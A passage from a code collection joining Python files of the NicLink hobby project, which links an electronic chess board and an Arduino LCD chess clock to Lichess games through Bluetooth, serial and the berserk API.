"""Set the index:th bit of v to 1 if x is truthy,
else to 0, and return the new value."""
mask = 1 << index # Compute mask, an integer with just bit 'index' set.
v &= ~mask # Clear the bit indicated by the mask (if x is False)
if x:
v |= mask # If x was True, set the bit indicated by the mask.
return v # Return the result, we're done.
led = bytearray([0x0A, 0x08, 0x1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
for counterColum in range(0, 8):
row = data[counterColum * 4 : counterColum * 4 + 4]
for counter, b in enumerate(row):
v = led[counterColum + 2]
n1 = convertDict[b & MASKLOW]
if n1.isalnum():
v = set_bit(v, counter * 2, 1)
led[counterColum + 2] = v
n2 = convertDict[b >> 4]
if n2.isalnum():
v = set_bit(v, counter * 2 + 1, 1)
led[counterColum + 2] = v
await CLIENT.write_gatt_char(WRITECHARACTERISTICS, led)
async def run(connect, debug=False):
"""Connect to the device and run the notification handler.
then read the data from the device. after 100 seconds stop the notification handler.
"""
print("device.adress: ", connect.device.address)
async def notification_handler(characteristic, data):
"""Handle the notification from the device and print the board."""
global oldData
# print("data: ", ''.join('{:02x}'.format(x) for x in data))
if data[2:34] != oldData:
printBoard(data[2:34])
await leds(data[2:34])
oldData = data[2:34].copy()
global CLIENT
async with BleakClient(connect.device) as client:
# TODO: this global variable is a derty trick
CLIENT = client
print(f"Connected: {client.is_connected}")
# send initialisation string
await client.start_notify(
READDATA, notification_handler
) # start the notification handler
await client.write_gatt_char(
WRITECHARACTERISTICS, INITIALIZASION_CODE
) # send initialisation string
await asyncio.sleep(100.0) ## wait 100 seconds
await client.stop_notify(READDATA) # stop the notification handler
##connect = GetChessnutAirDevices()
## get device
# asyncio.run(connect.discover())
## connect to device
# asyncio.run(run(connect))
#
| 5,265 | Python | .py | 113 | 39.60177 | 103 | 0.654333 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,619 | chess_clock.py | nicvagn_NicLink/nicsoft/lichess/chess_clock.py | # chess_clock is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version.
#
# chess_clock is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with chess_clock. If not, see <https://www.gnu.org/licenses/>.
import logging
import os
import sys
from datetime import datetime, timedelta
from threading import Event, Lock, Thread
from time import sleep
import berserk
import readchar
import serial
from berserk import Client
from berserk.exceptions import ResponseError
from game import Game
from game_state import GameState
from niclink.nl_exceptions import *
"""
snip from chess_clock.ino
case '2':
signalGameOver();
break;
case '3':
// show a str on LED read from Serial
printSerialMessage();
break;
case '4':
// start a new game
newGame();
break;
case '5':
// show the splay
niclink_splash();
break;
case '6':
// white one, and the game is over
white_won();
break;
case '7':
// black won the game
black_won();
break;
case '8':
// game is a draw
drawn_game();
break;
case '@':
//say hello
lcd.clear();
lcd.setCursor(1, 0);
lcd.print("Hi there");
break;
"""
class ChessClock:
"""a controlling class to encapsulate and facilitate interaction's
with Arduino chess clock. Starts the game time when this object is
created
Attributes
----------
logger : logger
self explanitory I think
chess_clock : Serial
the serial port that the niclink(tm) ardino
chess clock is connected to
lcd_length : int
the char lingth of the lcd in chess clock
displayed_wtime : timedelta
the last recived white time delta from lila
displayed_btime : timedelta
the last recived black time delta from lila
move_time : datetime | None
time of the last move
white_to_move : bool
is it whites move?
"""
def __init__(
self,
serial_port: str,
baudrate: int,
timeout: float,
logger=None,
):
"""initialize connection with ardino, and record start time"""
# the refresh rate of the lcd
self.TIME_REFRESH = 0.3
if logger is not None:
self.logger = logger
else:
self.logger = logging.getLogger("chess_clock")
self.chess_clock = serial.Serial(
port=serial_port, baudrate=baudrate, timeout=timeout
)
self.lcd_length = 16
# times to be displayed on lcd
self.displayed_btime: timedelta = None
self.displayed_wtime: timedelta = None
# the countdown thread var
self.countdown: None | Thread = None
self.move_time: None | datetime = None
# has the countdown been started?
self.countdown_started = Event()
# is the lcd handling a game?
self.handling_game = Event()
# event to signal white to move
self.white_to_move: threading.Event = Event()
# event to signal game over
self.countdown_kill: threading.Event = Event()
# a lock for accessing the time vars
self.time_lock = Lock()
# lcd use lock
self.lcd_lock = Lock()
# time left for the player that moved, at move time
self.time_left_at_move: timedelta = None
# clear lcd and lcd serial
self.clear()
# countdown thread
self.countdown = Thread(target=self.time_keeper, args=(self,), daemon=True)
self.logger.info("ChessClock initialized")
def clear(self) -> None:
"""case 1: clear the lcd w ASCII 1"""
self.chess_clock.write("1".encode("ascii"))
def game_over(self, display_message=True) -> None:
"""Case 2: signal game over, w ASCII 2 and stop counting down"""
self.logger.info("game_over(...) entered")
self.countdown_kill.set()
self.handling_game.clear()
if display_message:
"""if a message of gameover should be shown. We do not
want this if we are displaying a custom message"""
self.chess_clock.write("2".encode("ascii"))
if self.displayed_btime is not None and self.displayed_wtime is not None:
self.logger.info(
"\nChessClock.game_over() entered w current ts: %s\n"
% (self.create_timestamp(self.displayed_wtime, self.displayed_btime))
)
else:
self.logger.warning(
"ChessClock.game_over(): self.displayed_btime or self.displayed_wtime is None"
)
self.logger.info("ChessClock.game_over(...) called")
def send_string(self, message: str) -> None:
"""Case 3: send a String to the external chess clock"""
# because there are multiple threads that call this function
with self.lcd_lock:
# tell the clock we want to display a msg
self.chess_clock.write("3".encode("ascii"))
# send the message
self.chess_clock.write(message.encode("ascii"))
# from doc: Flush of file like objects. In this case, wait until all data is written.
self.chess_clock.flush()
def start_new_game(
self,
game: Game,
) -> None:
"""Case 4: handle game start event. reset all the game time data.
@param game - berserk event incased in conviniance class
@raises: RuntimeError if the chess clock is still handling a game
"""
self.logger.info("\nchess_clock: start_new_game entered with Game %s \n", game)
# no clock for correspondence
if game.speed == "correspondence":
logger.info("SKIPPING correspondence game w/ id %s \n", game.gameId)
return
# make sure countdown thread is dead
while self.countdown.is_alive():
self.countdown_kill.set()
sleep(self.TIME_REFRESH)
self.countdown_kill.clear()
# create a new coutdown thread
self.countdown = Thread(target=self.time_keeper, args=(self,), daemon=True)
# create starting timestamp
self.update_lcd(game.get_wtime(), game.get_btime())
# check for correspondance
self.logger.info(
"\nhandle_game_start(...) called with game_start['game'].gameId: %s",
game.gameId,
)
# start the chess clock for this game
if not self.handling_game.is_set():
# creat new coundown thread if not handling game
self.countdown.start()
else:
raise RuntimeError("ChessClock.handling_game is set.")
def show_splash(self) -> None:
"""Case 5: show the nl splash"""
self.chess_clock.write("5".encode("ascii"))
def white_won(self) -> None:
"""Case 6: show that white won"""
self.chess_clock.write("6".encode("ascii"))
self.game_over(display_message=False)
def black_won(self) -> None:
"""Case 7: show that black won"""
self.chess_clock.write("7".encode("ascii"))
self.game_over(display_message=False)
def drawn_game(self) -> None:
"""Case 8: show game is drawn"""
self.chess_clock.write("8".encode("ascii"))
self.game_over(display_message=False)
def move_made(self, game_state: GameState) -> None:
"""a move was made in the game this chess clock is for, self.move_time is set.
@param: game_state the game state at the time of move, or None if there is None
"""
with self.time_lock:
# record the move_time
self.move_time = datetime.now()
self.logger.info("\nrecorded move time: %s\n", self.move_time)
if game_state is not None:
self.displayed_wtime: timedelta = game_state.wtime
self.displayed_btime: timedelta = game_state.btime
else:
# TODO: add incriment
pass
# record the time player has left at move time
if self.white_to_move.is_set():
self.time_left_at_move = self.displayed_wtime
# clear event
self.white_to_move.clear()
else:
self.time_left_at_move = self.displayed_btime
# set white_to move
self.white_to_move.set()
# HACK: NO COUNTOWN MODE
self.update_lcd(self.displayed_wtime, self.displayed_btime)
def update_lcd(self, wtime: timedelta, btime: timedelta) -> None:
"""display wtime and btime on lcd. creates a timestamp from given times
The time stamp shuld be formated with both w and b timestamp set up to display
correctly on a 16 x 2 lcd
"""
timestamp = self.create_timestamp(wtime, btime)
self.logger.info(
"\n\nTIMESTAMP: %s white_to_move: %s\n",
timestamp,
self.white_to_move.is_set(),
)
self.send_string(timestamp)
def create_timestamp(self, wtime: timedelta, btime: timedelta) -> str:
"""create timestamp with white and black time for display on lcd
@param: wtime timedelta contaning whites time
@param: btime timedelta contaning blacks time
@returns: a 2 X lcd_length string. It will overflow onto the seccond row
"""
# update the last received btime and wtime
with self.time_lock:
self.displayed_wtime = wtime
self.displayed_btime = btime
# ensure ts uses all the space, needed for lcd side
white_time = f"W: { str(wtime) }"
if len(white_time) > self.lcd_length:
white_time = white_time[: self.lcd_length]
else:
while len(white_time) < self.lcd_length:
white_time += " "
black_time = f"B: { str(btime) }"
if len(black_time) > self.lcd_length:
black_time = black_time[: self.lcd_length]
else:
while len(black_time) < self.lcd_length:
black_time += " "
timestamp = f"{white_time}{black_time}"
self.logger.info(
"timestamp created: %s, from timedeltas wtime: %s, and btime: %s",
timestamp,
wtime,
btime,
)
return timestamp
def did_flag(self, player_time: timedelta) -> bool:
"""check if a timedelta is 0 total_seconds or less. ie: they flaged
@param: player_time (timedelta) - timedelta of how much time a player has
@returns: (bool) if they flaged
"""
self.logger.info("did_flag(player_time) with player time %s", player_time)
if type(player_time) is timedelta:
if player_time.total_seconds() <= 0:
return True
else:
self.logger.warning(
"ChessClock.did_flag(player_time): player_time is not a timedelta"
)
return False
@staticmethod
def time_keeper(chess_clock) -> None:
"""keep the time on the lcd correct. using the last time a move was made
@param: chess_clock (ChessClock) - a ChessClock
@raises:
NicLinkGameOver:
- if countdown_kill is set
- if white or black flags
"""
# loop inifinatly
while True:
# if the game is over, kill the time_keeper
if chess_clock.countdown_kill.is_set():
chess_clock.logger.warning("countdown_kill is set")
raise NicLinkGameOver(
"""time_keeper(...) exiting.
chess_clock.countdown_kill.is_set()"""
)
if chess_clock.move_time is None:
chess_clock.logger.warning("chess_clock.move_time is None")
sleep(chess_clock.TIME_REFRESH)
continue
if chess_clock.time_left_at_move is None:
chess_clock.logger.warning("chess_clock.time_left_at_move is None")
sleep(chess_clock.TIME_REFRESH)
continue
if chess_clock.displayed_btime is None:
chess_clock.logger.warning("chess_clock.displayed_btime is None")
sleep(chess_clock.TIME_REFRESH)
continue
if chess_clock.displayed_wtime is None:
chess_clock.logger.warning("chess_clock.displayed_wtime is None")
sleep(chess_clock.TIME_REFRESH)
continue
# if it is white to move
if chess_clock.white_to_move.is_set():
# because sometimes time_left_at_move is an int of secondsLeft
if type(chess_clock.time_left_at_move) is not timedelta:
chess_clock.time_left_at_move = timedelta(
seconds=chess_clock.time_left_at_move
)
# create a new timedelta with the updated wtime
new_wtime = chess_clock.time_left_at_move - (
datetime.now() - chess_clock.move_time
)
# check for flag for white
if chess_clock.did_flag(new_wtime):
chess_clock.black_won()
# kill the thread
raise NicLinkGameOver("white flaged")
# update the clock
chess_clock.update_lcd(new_wtime, chess_clock.displayed_btime)
# else black to move
else:
# because sometimes time_left_at_move is an int of secondsLeft
if type(chess_clock.time_left_at_move) is not timedelta:
chess_clock.time_left_at_move = timedelta(
seconds=chess_clock.time_left_at_move
)
# create a new timedelta object w updated b time
new_btime = chess_clock.time_left_at_move - (
datetime.now() - chess_clock.move_time
)
# check if black has flaged
if chess_clock.did_flag(chess_clock.displayed_btime):
chess_clock.white_won()
# kill the thread
raise NicLinkGameOver("black flaged")
# update the clock, updates displayed time
chess_clock.update_lcd(chess_clock.displayed_wtime, new_btime)
sleep(chess_clock.TIME_REFRESH)
### testing ###
def test_timekeeper(cc: ChessClock, game: Game) -> None:
"""test the chess clock's countdown"""
print("TEST: countdown")
GS = GameState(
{
"type": "gameState",
"moves": "e2e4 e6e5 d2d4",
"wtime": timedelta(seconds=24),
"btime": timedelta(seconds=13),
"winc": timedelta(seconds=3),
"binc": timedelta(seconds=3),
"status": "started",
}
)
cc.start_new_game(game)
x = "n"
while x == "n":
cc.move_made(GS)
print("press 'n' to move in game, not 'n' to quit")
x = readchar.readchar()
cc.game_over()
def test_display_options(cc: ChessClock) -> None:
"""test all the display options"""
print("TEST: testing display options. press a key to display next")
print("game_over w message.")
cc.game_over()
readchar.readchar()
print("white won")
cc.white_won()
readchar.readchar()
print("black_won")
cc.black_won()
readchar.readchar()
print("drawn game")
cc.drawn_game()
readchar.readchar()
print("show splash")
cc.show_splash()
readchar.readchar()
print("Send String: Sending reeeee")
cc.send_string("reeeeeeeeeeeeeeeeeee")
readchar.readchar()
print("display test out")
def main() -> None:
"""test ChessClock"""
global logger
PORT = "/dev/ttyACM0"
BR = 115200 # baudrate for Serial connection
REFRESH_DELAY = 100.0 # refresh delay for chess_clock
SCRIPT_DIR = os.path.dirname(__file__)
TOKEN_FILE = os.path.join(SCRIPT_DIR, "lichess_token/token")
test_display_opts = True
test_countdown = False
RAW_GAME = {
"fullId": "4lmop23qqa8S",
"gameId": "4lmop23q",
"fen": "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1",
"color": "white",
"lastMove": "",
"source": "lobby",
"status": {"id": 20, "name": "started"},
"variant": {"key": "standard", "name": "Standard"},
"speed": "rapid",
"perf": "rapid",
"rated": False,
"hasMoved": False,
"opponent": {"id": "david002", "username": "David002", "rating": 1376},
"isMyTurn": True,
"secondsLeft": 1200,
}
GAME_START = Game(RAW_GAME)
SAMPLE_GAMESTATE0 = GameState(
{
"type": "gameState",
"moves": "",
"wtime": timedelta(minutes=3),
"btime": timedelta(minutes=3),
"winc": timedelta(seconds=3),
"binc": timedelta(seconds=3),
"status": "started",
}
)
SAMPLE_GAMESTATE1 = GameState(
{
"type": "gameState",
"moves": "e2e4",
"wtime": timedelta(minutes=3),
"btime": timedelta(minutes=3),
"winc": timedelta(seconds=3),
"binc": timedelta(seconds=3),
"status": "started",
}
)
SAMPLE_GAMESTATE2 = GameState(
{
"type": "gameState",
"moves": "e2e4 e6e5",
"wtime": timedelta(minutes=3),
"btime": timedelta(minutes=2, seconds=44),
"winc": timedelta(seconds=3),
"binc": timedelta(seconds=3),
"status": "started",
}
)
SAMPLE_GAMESTATE3 = GameState(
{
"type": "gameState",
"moves": "e2e4 e6e5 d2d4",
"wtime": timedelta(seconds=24),
"btime": timedelta(seconds=13),
"winc": timedelta(seconds=3),
"binc": timedelta(seconds=3),
"status": "started",
}
)
chess_clock = ChessClock(
PORT,
BR,
REFRESH_DELAY,
logger=logger,
)
if test_countdown:
test_timekeeper(chess_clock, GAME_START)
if test_display_opts:
print("look at lcd")
test_display_options(chess_clock)
logger.debug("\n==== test loop ====\n")
print("clock initialized. Ready for move made.")
chess_clock.start_new_game(GAME_START)
readchar.readchar()
chess_clock.move_made(SAMPLE_GAMESTATE1)
readchar.readchar()
chess_clock.move_made(SAMPLE_GAMESTATE2)
readchar.readchar()
chess_clock.move_made(SAMPLE_GAMESTATE3)
readchar.readchar()
if __name__ == "__main__":
global logger
# if run as __main__ set up logging
logger = logging.getLogger("chess_clock")
consoleHandler = logging.StreamHandler(sys.stdout)
logger.info("DEBUG is set.")
logger.setLevel(logging.DEBUG)
consoleHandler.setLevel(logging.DEBUG)
formatter = logging.Formatter("%(asctime)s %(levelname)s %(module)s %(message)s")
consoleHandler.setFormatter(formatter)
logger.addHandler(consoleHandler)
main()
| 19,697 | Python | .py | 502 | 29.426295 | 243 | 0.587712 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,620 | __main__.py | nicvagn_NicLink/nicsoft/lichess/__main__.py | # NicLink-lichess is a part of NicLink
#
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import lila
lila.main()
| 677 | Python | .py | 9 | 74 | 239 | 0.785285 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,621 | game.py | nicvagn_NicLink/nicsoft/lichess/game.py | # game is a part of NicLink-lichess
#
# NicLink-lichess is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version.
#
# NicLink-lichess is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import logging
from datetime import timedelta
"""samples
correspondence:
'game': {
'fullId': 'aTBGIIVYsqYL',
'gameId': 'aTBGIIVY',
'fen': 'r4rk1/p1p1q1pp/1pb1pnn1/2N2p2/5B2/5PP1/PQ2P1BP/2RR2K1 w - - 1 22',
'color': 'white',
'lastMove': 'd8e7',
'source': 'friend',
'status': {'id': 20, 'name': 'started'},
'variant': {'key': 'standard', 'name': 'Standard'},
'speed': 'correspondence',
'perf': 'correspondence',
'rated': False,
'hasMoved': True,
'opponent': {'id': 'musaku', 'username': 'musaku', 'rating': 1500},
'isMyTurn': True,
'compat': {'bot': False, 'board': True},
'id': 'aTBGIIVY'}
"""
class Game:
"""A class used to contain a lichess api Game, and conveiniance functions"""
def __init__(self, game_event: dict) -> None:
"""initialize this Game"""
logger = logging.getLogger("nl_lichess")
logger.debug("Game class created")
self.fullId: str = game_event["fullId"]
self.gameId: str = game_event["gameId"]
self.id = self.gameId
self.fen: str = game_event["fen"]
self.colour: str = game_event["color"]
self.lastMove: str = game_event["lastMove"]
self.source: str = game_event["source"]
self.status: dict = game_event["status"]
self.variant = game_event["variant"]
self.speed: str = game_event["speed"]
self.perf: bool = game_event["perf"]
self.rated: bool = game_event["rated"]
self.opponent: dict = game_event["opponent"]
self.isMyTurn: bool = game_event["isMyTurn"]
if "secondsLeft" in game_event:
self.secondsLeft: float = game_event["secondsLeft"]
else:
self.secondsLeft = None
if "hasMoved" in game_event:
self.hasMoved: bool = game_event["hasMoved"]
else:
self.hasMoved = "unknown"
def __str__(self) -> str:
"""returns a partial rep. of this Game as a str"""
return str(
{
"fullId": self.fullId,
"gameId": self.gameId,
"fen": self.fen,
"color": self.colour,
"status": self.status,
"speed": self.speed,
"hasMoved": self.hasMoved,
}
)
# HACK: assumes black and white time is seconds left
def get_wtime(self) -> timedelta:
"""get whites time from this gamestart"""
return timedelta(seconds=self.secondsLeft)
# HACK:
def get_btime(self) -> timedelta:
"""get black's time from GameStart"""
return timedelta(seconds=self.secondsLeft)
def is_corespondance(self) -> bool:
"""is this a correspondence GameStart"""
return self.correspondence == "True"
def playing_white(self) -> bool:
"""are they playing white in this GameStart"""
return self.colour == "white"
def is_my_turn(self) -> bool:
"""is iy my turn in this GameStart"""
return self.isMyTurn
| 3,708 | Python | .py | 87 | 34.804598 | 247 | 0.615576 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,622 | game_state.py | nicvagn_NicLink/nicsoft/lichess/game_state.py | # NicLink-lichess is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version.
#
# NicLink-lichess is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import logging
from datetime import timedelta
from typing import List
""" some exceptions """
class NoMoves(Exception):
"""raised when GameState has no moves"""
def __init__(self, message):
self.message = message
class GameState:
"""A class used to contain all the information in a berserk board api game state."""
def __init__(self, game_state: dict) -> None:
self.logger = logging.getLogger("nl_lichess")
self.logger.debug(
"GameState created w game_state: dict -> %s \n -gamestate bellow- \n",
game_state,
)
if game_state["type"] != "gameState":
raise ValueError(
'"GameState instantiated with a game_state["type"] != "gameState"'
)
self.moves: List[str] = game_state["moves"].split(" ")
self.wtime: timedelta = game_state["wtime"]
self.btime: timedelta = game_state["btime"]
self.winc: timedelta = game_state["winc"]
self.binc: timedelta = game_state["binc"]
self.status: str = game_state["status"]
if "winner" in game_state:
self.winner: str = game_state["winner"]
else:
self.winner = False
def has_moves(self) -> bool:
"""does this game state have any moves? ie: moves was not ''
@returns: (bool) does this gamestate have any moves?"""
return self.moves != [""]
def get_moves(self) -> List[str]:
"""get the moves from this GameState in an array"""
return self.moves
def get_last_move(self) -> str:
"""get the last move in uci"""
if self.has_moves():
return self.moves[-1]
else:
raise NoMoves("no moves in this GameState")
def first_move(self) -> bool:
"""does this gamestate have two moves?
@returns: (bool) is first move
"""
if len(self.moves) < 2:
return True
return False
def white_to_move(self) -> bool:
"""is white to move in this gamestate
@returns: (bool) if it is whites move
"""
if self.has_moves():
# if odd number of moves, black to move
return len(self.moves) % 2 == 0
else:
# if there are no moves, it is white to move
return True
def get_wtime(self) -> timedelta:
"""get white's time from this GameState"""
return self.wtime
def get_btime(self) -> timedelta:
"""get black's time from this GamState"""
return self.btime
def get_winc(self) -> timedelta:
"""get white's incriment from this GameState"""
return self.winc
def get_binc(self) -> timedelta:
"""get black's incriment from this GameState"""
return self.winc
def get_status(self) -> str:
"""get the status from this GameState"""
return self.status
def __str__(self) -> str:
return f"GameState, Moves: { self.moves }, status: {self.status
},\n wtime: { self.wtime } btime: { self.btime }"
| 3,687 | Python | .py | 83 | 36.216867 | 247 | 0.621161 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,623 | game_start.py | nicvagn_NicLink/nicsoft/lichess/game_start.py | # NicLink-lichess is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version.
#
# NicLink-lichess is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
from typing import TypedDict
from game import Game
"""sample
{'type': 'gameStart',
'game': {
'fullId': 'aTBGIIVYsqYL',
'gameId': 'aTBGIIVY',
'fen': 'r4rk1/p1p1q1pp/1pb1pnn1/2N2p2/5B2/5PP1/PQ2P1BP/2RR2K1 w - - 1 22',
'color': 'white',
'lastMove': 'd8e7',
'source': 'friend',
'status': {'id': 20, 'name': 'started'},
'variant': {'key': 'standard', 'name': 'Standard'},
'speed': 'correspondence',
'perf': 'correspondence',
'rated': False,
'hasMoved': True,
'opponent': {'id': 'musaku', 'username': 'musaku', 'rating': 1500},
'isMyTurn': True,
'compat': {'bot': False, 'board': True},
'id': 'aTBGIIVY'}
}
"""
class GameStart(TypedDict):
"""A class used to contain all the information in a berserk board api game start"""
type: str
game: Game
| 1,467 | Python | .py | 32 | 41.59375 | 247 | 0.679272 | nicvagn/NicLink | 8 | 3 | 0 | GPL-3.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,624 | lila.py | nicvagn_NicLink/nicsoft/lichess/lila.py | # NicLink-lichess is a part of NicLink
#
# NicLink is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or ( at your option ) any later version.
#
# NicLink is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with NicLink. If not, see <https://www.gnu.org/licenses/>.
import argparse
import importlib.util
import logging
import logging.handlers
import os
# sys stuff
import sys
import threading
import traceback
from time import sleep
import berserk
# chess stuff
import chess
import chess.pgn
from berserk.exceptions import ResponseError
# external chess clock functionality
from chess_clock import ChessClock
from game import Game as LichessGame # game is already a class
from game_start import GameStart
# lila modularity
from game_state import GameState
# exceptions
from serial import SerialException
# NicLink shit
from niclink import NicLinkManager
from niclink.nl_exceptions import (ExitNicLink, IllegalMove, NicLinkGameOver,
NicLinkHandlingGame, NoMove)
# === command line ===
# parsing command line arguments
parser = argparse.ArgumentParser()
parser.add_argument("--tokenfile")
parser.add_argument("--correspondence", action="store_true")
parser.add_argument("--clock", action="store_true") # TODO: MAKE WORK
parser.add_argument("--quiet", action="store_true")
parser.add_argument("--debug", action="store_true")
parser.add_argument("--learning", action="store_true")
args = parser.parse_args()
# === globals ===
global game
global logger
game = None
correspondence = False
if args.correspondence:
correspondence = True
# the script dir, used to import the lila token file
script_dir = os.path.dirname(__file__)
LEARNING = False
DEBUG = False
# DEBUG = True
if args.debug:
DEBUG = True
if args.clock:
CHESS_CLOCK = True
else:
CHESS_CLOCK = False
# === constants ===
# refresh refresh delay for NicLink and Lichess
REFRESH_DELAY = 0.1
# POLL_DELAY for checking for new games
POLL_DELAY = 10
# === lichess token parsing ===
TOKEN_FILE = os.path.join(script_dir, "lichess_token/nrv773_token")
# TOKEN_FILE = os.path.join(script_dir, "lichess_token/dev_token")
if DEBUG:
TOKEN_FILE = os.path.join(script_dir, "lichess_token/dev_token")
if args.learning or LEARNING:
TOKEN_FILE = os.path.join(script_dir, "lichess_token/nrv_learning_token")
if args.tokenfile is not None:
TOKEN_FILE = args.tokenfile
# === logger stuff ===
logger = logging.getLogger("nl_lichess")
consoleHandler = logging.StreamHandler(sys.stdout)
if DEBUG:
logger.info("DEBUG is set.")
logger.setLevel(logging.DEBUG)
consoleHandler.setLevel(logging.DEBUG)
else:
logger.info("DEBUG not set")
logger.setLevel(logging.INFO)
consoleHandler.setLevel(logging.WARNING)
# logger.setLevel(logging.ERROR)
# consoleHandler.setLevel(logging.ERROR)
formatter = logging.Formatter(
"%(levelno)s %(funcName)s %(lineno)d %(message)s @: %(pathname)s")
consoleHandler.setFormatter(formatter)
logger.addHandler(consoleHandler)
# logging to a file
fileHandler = logging.FileHandler("NicLink.log")
fileHandler.setLevel(logging.DEBUG)
logger.addHandler(fileHandler)
# === exception logging and except hook ===
# log unhandled exceptions to the log file
def log_except_hook(excType, excValue, traceback):
global logger
logger.error("Uncaught exception", exc_info=(excType, excValue, traceback))
# set exception hook
sys.excepthook = log_except_hook
# for good measure, also log handled exceptions
def log_handled_exception(exception) -> None:
"""log a handled exception"""
global logger
logger.error("Exception handled: %s", exception)
# === pre-amble fin ===
print(
"\n\n|=====================| NicLink on Lichess startup |=====================|\n\n"
)
logger.info("NicLink Lichess startup\n")
class Game(threading.Thread):
"""a game on lichess"""
def __init__(
self,
berserk_client,
game_id,
playing_white,
bluetooth=False,
starting_fen=False,
chess_clock=CHESS_CLOCK,
**kwargs,
):
"""Game, the client.board, niclink instance, the game id etc."""
global nl_inst, logger
super().__init__(**kwargs)
# for await move to signal a move has been made
self.has_moved = threading.Event()
# berserk board_client
self.berserk_board_client = berserk_client.board
# id of the game we are playing
self.game_id = game_id
# incoming board stream
self.stream = self.berserk_board_client.stream_game_state(game_id)
# current state from stream
self.current_state = next(self.stream)
self.response_error_on_last_attempt = False
# the most reasontly parsed game_state, in a GameState class wrapper
self.game_state = GameState(self.current_state["state"])
# === niclink options ===
self.bluetooth = bluetooth
# === external clock constants ===
SERIAL_PORT = "/dev/ttyACM0"
BAUDRATE = 115200
TIMEOUT = 100.0
"""if there is an external_clock try to connect to the clock,
but do not fail if you dont
"""
if chess_clock:
try:
self.chess_clock = ChessClock(
SERIAL_PORT,
BAUDRATE,
TIMEOUT,
logger=logger,
)
except SerialException as ex:
logger.error("Chess clock could not be connected %s" % ex)
self.chess_clock = False
else:
self.chess_clock = False
self.playing_white = playing_white
if starting_fen and False: # HACK: TODO: make 960 work
nl_inst.reset()
self.game_board = chess.Board(starting_fen)
nl_inst.set_game_board(self.game_board)
self.starting_fen = starting_fen
else:
nl_inst.reset() # reset niclink for a new game
self.game_board = chess.Board()
nl_inst.set_game_board(self.game_board)
self.starting_fen = None
logger.info("game init w id: %s", game_id)
# if white, make the first move
if self.playing_white and self.current_state["state"]["moves"] == "":
self.make_first_move()
# if we are joining a game in progress or move second
else:
self.handle_state_change(GameState(self.current_state["state"]))
def run(self) -> None:
"""run the thread until game is through
ie: while the game stream is open
then kill it w self.game_done()
"""
global nl_inst, logger
state_change_thread = None
for event in self.stream:
logger.debug("event in self.stream: %s", event)
if event["type"] == "gameState":
# update the game state in this class with a stream game_state
# incapsulated in a conveiniance class
self.game_state = GameState(event)
logger.debug("state_change_thread is: %s", state_change_thread)
# if there is a state_change_thread
if state_change_thread is not None:
# if there is another state change thread still
# running running, join it
# while checking for game over
while state_change_thread.is_alive():
if state_change_thread.is_alive():
logger.debug("trying to join state_change_thread, \
it is alive.")
# check that the game is not over.
# Will call game_done if so.
self.check_for_game_over(self.game_state)
# try to join state_change_thread with
# a one second time_out
state_change_thread.join(timeout=REFRESH_DELAY)
# start new state change thread
state_change_thread = threading.Thread(
target=self.handle_state_change, args=(self.game_state, ))
state_change_thread.start()
elif event["type"] == "chatLine":
self.handle_chat_line(event)
elif event["type"] == "gameFull":
logger.info("\n\n +++ Game Full got +++\n\n")
self.game_done()
elif event["type"] == "opponentGone":
logger.info(">>> opponentGone <<< received event: %s \n",
event)
print(">>> opponentGone <<<")
for x in range(0, 2):
nl_inst.signal_lights(3)
nl_inst.signal_lights(2)
else: # If it is not one of these options, kill the stream
logger.warning("\n\nNew Event: %s", event)
for x in range(0, 3):
nl_inst.beep()
sleep(0.5)
break
logger.error("outside run loop in class Game(threading.Thread):")
self.game_done()
def get_game_state(self) -> GameState:
"""get the current game_state"""
return self.game_state
